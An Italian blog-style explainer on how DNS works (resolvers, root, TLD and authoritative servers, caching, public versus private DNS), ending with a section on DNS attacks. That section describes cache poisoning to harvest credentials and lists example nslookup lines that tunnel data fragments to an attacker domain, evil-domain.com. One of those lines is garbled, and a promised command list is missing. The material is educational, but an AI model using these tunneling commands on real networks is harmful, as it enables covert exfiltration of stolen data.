Cos’è il DNS? Capire come funziona!

0
36

Il Domain Name System (DNS) è come l'»elenco telefonico» di Internet. Ai vecchi tempi, quando avevi bisogno di trovare l’indirizzo di un’azienda, guardavi negli «elenchi telefonici». Il DNS è esattamente così, tranne che non devi cercare nulla: il tuo computer connesso ad Internet lo fa per te. Ecco come il tuo computer sa come trovare Google, ESPN.com o Facebook.

Vedi anche cos’è una rete VPN!

Affinché due computer possano comunicare su una data rete IP, il protocollo impone che abbiano bisogno di un indirizzo IP. Quindi pensa ad un indirizzo IP come ad un indirizzo stradale – per un computer per «localizzare» un altro, hanno bisogno di conoscere il numero dell’altro computer. Inoltre, dato che la maggior parte degli esseri umani sono più bravi a ricordare i nomi che i numeri, avevano bisogno di un programma per i computer per convertire i nomi in indirizzi IP.

Il programma per convertire i nomi in numeri e viceversa si chiama «DNS» o «Domain Name System» e i computer che eseguono il DNS sono chiamati «server DNS». Senza di esso, dovremmo ricordare l’indirizzo IP di ogni server a cui vogliamo connetterci.

Come funziona il DNS?

Il DNS è parte integrante di Internet ed è importante capire come funziona.

Pensalo come un elenco telefonico, ma invece di mappare i nomi delle persone ai loro indirizzi, l’elenco telefonico mappa i nomi dei computer agli indirizzi IP. In questo modo, ogni mappatura è chiamata «record DNS».

Internet ha molti computer, quindi non ha senso mettere tutti i record in un unico grande libro. Invece, il DNS è organizzato in libri o domini più piccoli. I domini possono essere molto grandi e sono quindi organizzati in libri più piccoli, chiamati «zone». Nessun server di questo tipo memorizza tutti i libri, poiché questo sarebbe poco pratico.

Invece, ci sono molti server che memorizzano tutti i record DNS per Internet. In questo modo, qualsiasi computer che vuole conoscere un numero o un nome può chiedere al server, e il server saprà come chiedere – o interrogare – altri server quando hanno bisogno di un record. Quando un server interroga altri server, sta facendo una query «a monte». Le query per un dominio possono andare «a monte» fino a quando non ritornano all’autorità del dominio, o «server dei nomi autoritativi».

Un server dei nomi autoritativo è dove gli amministratori gestiscono i nomi dei server e gli indirizzi IP per i loro domini. Così, ogni volta che un amministratore DNS vuole aggiungere, cambiare o eliminare un nome di server o un indirizzo IP, effettua un cambiamento sul server autoritativo (a volte chiamato «master server»). Inoltre, ci sono anche server «slave». Questi server mantengono copie dei record per le loro zone e domini.

I quattro server che caricano una pagina web

  • DNS recursor: il recursor è il server che risponde ad una query DNS e richiede ad un altro server l’indirizzo o ha già l’indirizzo IP del sito salvato;
  • Root name server: un root name server è il name server per la zona root. Come tale, risponde alle richieste dirette e può restituire una lista di name server autoritativi per il dominio di primo livello corrispondente;
  • TLD name server: Il server di dominio di primo livello (TLD) è uno dei server di primo livello su Internet. Quando si cerca Geek Blog un server TLD per «.com» risponderà per primo e il DNS cercherà «Geek Blog»;
  • Authoritative Name Server: il name server autoritativo è la fermata finale per una query DNS. Così, il server dei nomi autoritativo detiene il record della richiesta.

Tipi di servizi DNS

Ci sono due tipi distinti di servizi DNS su Internet. Ognuno di questi servizi gestisce le query in modo diverso, a seconda della sua funzione.

  • Risolutore DNS ricorsivo: un risolutore DNS ricorsivo è il server che risponde alla query e cerca il server del nome autoritativo o un risultato nella cache per il nome richiesto;
  • Server autoritativo: un server autoritativo memorizza la richiesta DNS. Pertanto, se richiedi un server autoritativo per uno dei tuoi indirizzi IP, non ha bisogno di chiedere a nessun altro. In questo modo, il name server autoritativo è l’autorità finale su quei nomi e indirizzi IP.

DNS pubblico e privato

Il DNS è stato creato per permettere alle persone di connettersi ai servizi su Internet. Quindi, affinché un server sia accessibile sull’Internet pubblica, ha bisogno di un record pubblico e il suo indirizzo IP deve essere accessibile su Internet – il che significa che non è bloccato da un firewall. I server pubblici sono accessibili a chiunque possa connettersi ad essi e non richiedono autenticazione.

È interessante notare che non tutti i record DNS sono pubblici. Oggi, oltre a permettere ai dipendenti di usare i DNS per trovare cose su Internet, le organizzazioni usano i DNS in modo che i loro dipendenti possano trovare i server interni privati. Quando un’organizzazione vuole mantenere i nomi dei server e gli indirizzi IP privati, o non è possibile accedervi direttamente da Internet, non li elenca nei server pubblici. Invece, le organizzazioni li elencano su server privati o interni – i server interni memorizzano nomi e indirizzi IP per file server interni, server di posta, controller di dominio, server di database, server di applicazioni e così via.

Qualcosa da ricordare – come i server esterni, i server interni non richiedono autenticazione. Questo perché il DNS è stato creato molto tempo fa, quando la sicurezza non era una preoccupazione così grande. In questo modo, il più delle volte, chiunque si trovi all’interno del firewall – per infiltrazione o connesso tramite una VPN – può interrogare i server interni. Inoltre, l’unica cosa che impedisce a qualcuno all’esterno di accedere e interrogare i server interni è che non può connettersi direttamente ad essi.

Differenza tra DNS pubblico e privato «brevemente»

  • Pubblico: perché un server sia accessibile su Internet pubblico, ha bisogno di un record DNS pubblico e il suo indirizzo IP deve essere accessibile su Internet;
  • Privato: i computer che vivono dietro un firewall o su una rete interna usano un record DNS privato in modo che i computer locali possano identificarli per nome. In questo modo, gli utenti esterni su Internet non avranno accesso diretto a questi computer.

7 passi in una ricerca DNS

Vediamo esattamente come funziona una richiesta DNS.

Cosa sono i tipi di query DNS?

Le query DNS sono il codice informatico che dice ai server che tipo di query è e quali informazioni vuole restituire. Ci sono tre query di base in una ricerca DNS standard.

  • Query ricorsiva: in una query ricorsiva, il computer richiede un indirizzo IP o la conferma che il server non conosce quell’indirizzo IP;
  • Query iterativa: una query iterativa il richiedente chiede ad un server la migliore risposta che ha. Quindi, se il server non ha l’indirizzo IP, restituirà il server del nome autoritativo o il server del nome TLD. Il richiedente continuerà questo processo iterativo finché non trova una risposta o raggiunge il timeout;
  • Query non ricorsiva: un resolver DNS userà questa query per trovare un indirizzo IP che non ha nella sua cache. Sono limitati ad una singola richiesta per limitare l’uso della banda di rete.

Cos’è la cache DNS + le funzioni di caching

La cache DNS è un deposito di nomi di dominio e indirizzi IP memorizzati su un computer, quindi non è necessario richiedere l’indirizzo IP ogni volta. Quindi immagina se ogni volta che un utente cerca di accedere al sito web di Geek Blog, il DNS deve interrogare il server dei nomi autoritativi di Geek Blog. Il traffico sarebbe travolgente! Il solo pensiero di così tanto traffico è la ragione per cui abbiamo il DNS caching. Quindi, la cache DNS ha due scopi principali:

  • Accelerare le richieste DNS;
  • Ridurre la larghezza di banda delle richieste DNS su Internet.

La metodologia di caching ha alcuni problemi, tuttavia:

  • I cambiamenti DNS hanno bisogno di tempo per propagarsi – il che significa che può richiedere un po’ di tempo per ogni server per avere la sua cache aggiornata agli ultimi dati IP;
  • La cache DNS è un potenziale vettore di attacco per gli hacker.

Ci sono alcuni tipi diversi di cache DNS utilizzati su Internet:

  • Cache DNS del browser: i browser attuali nel 2018 hanno creato una funzionalità di caching DNS. Quindi, la risoluzione di un DNS con la cache locale è veloce ed efficiente;
  • Sistema operativo (OS) DNS cache: il tuo computer è un client e c’è un servizio sul tuo computer che gestisce la risoluzione e le richieste DNS. Questa cache DNS è anche locale e quindi veloce e non richiede larghezza di banda.
  • Risoluzione ricorsiva DNS caching: ogni recursore ha una cache e memorizza qualsiasi indirizzo IP che sa di utilizzare per la prossima richiesta

Debolezze e vulnerabilità del DNS

Ci sono tre principali vulnerabilità del DNS a cui fare attenzione, che gli aggressori spesso sfruttano:

Usa il DNS per la ricognizione

Quando un attaccante è all’interno di un firewall e ha il controllo di un computer, può usare il DNS per trovare nomi di server importanti. In questo modo, gli aggressori possono cercare i nomi associati agli indirizzi IP interni – server di posta, server di nomi – tutti i tipi di cose preziose. Se hanno abbastanza conoscenze, possono anche fare in modo che un server interno invii molte informazioni sulle zone del tuo dominio – questo si chiama «attacco di trasferimento di zona DNS».

Se hai un computer Windows, esegui i seguenti comandi così come sono; se sei un utente Linux, ci sono comandi corrispondenti a cui puoi fare riferimento.

Usa il DNS per reindirizzare il traffico

Ricorda, quando un utente cerca di navigare in un sito, il computer interroga il server per l’indirizzo IP o il record del sito. Se il server ha una copia in cache del record, risponderà. Altrimenti, interroga un server «a monte», inoltra i risultati all’utente finale e li memorizza per la volta successiva.

Gli aggressori hanno scoperto un modo per spoofare le risposte DNS o far sembrare che le risposte provengano da server legittimi. Senza diventare troppo tecnici, gli attaccanti approfittano di tre punti deboli nel DNS per fare questo:

Esempio di invasione

Ecco un esempio: diciamo che un attaccante sa che la tua organizzazione usa un’applicazione esterna per qualcosa di importante, come le spese. Se avvelenano il server della tua organizzazione per inviare ogni utente al server dell’attaccante, tutto quello che devono fare è creare una pagina di login legittima e gli utenti inseriranno le loro credenziali. In questo modo, possono anche ritrasmettere il traffico al server reale (agendo come un «uomo medio») in modo che nessuno se ne accorga. L’attaccante può provare queste credenziali su altri sistemi, venderle o semplicemente festeggiare con una risata «cattiva».

Usa il DNS come canale segreto

Diciamo che un attaccante è riuscito ad entrare in una rete (corp.com), ha compromesso uno o due host e ha trovato dati critici che vuole esfiltrare. Come possono farlo senza far scattare alcun allarme? Gli attaccanti usano una tecnica chiamata «tunneling DNS» per fare proprio questo. Creano un dominio (evil-domain.com, per esempio) su Internet e creano un name server autorevole. Poi, sull’host compromesso, l’attaccante può utilizzare un programma che spezza i dati in piccoli pezzi e li inserisce in una serie di ricerche, come:

  • nslookup My1secret1.evil-domain.com;
  • nslookup é1que1I1know.domain-domain.com.
  • nsllookup how2steal1data.evil-domain.com;

Il server corp.com riceverà queste richieste, capirà che i risultati non sono nella sua cache, e ritrasmetterà queste richieste al name server autorizzato di evil-domain.com. L’attaccante si aspetta questo traffico, quindi esegue un programma sul nameserver autoritativo per estrarre la prima parte della query (tutto prima di evil-domain.com) e riassemblarla. In questo modo, a meno che l’organizzazione non stia ispezionando le query fatte dai suoi server, potrebbe non rendersi mai conto che i suoi server sono stati usati per filtrare i dati.

DNS esiste da molto tempo e ogni computer connesso a Internet dipende da esso. Come tale, gli aggressori ora usano il DNS per la ricognizione esterna e interna, per dirottare il traffico e per creare canali di comunicazione nascosti. Fortunatamente, monitorando i server e applicando l’analisi di sicurezza, molti di questi attacchi possono essere rilevati e contrastati.

Ti è piaciuto? Cosa ne pensi? Lascia il tuo commento. Inoltre, non dimenticare di unirti al nostro gruppo Telegram. Basta cliccare su «Canale Telegram» che si trova in alto a destra della pagina!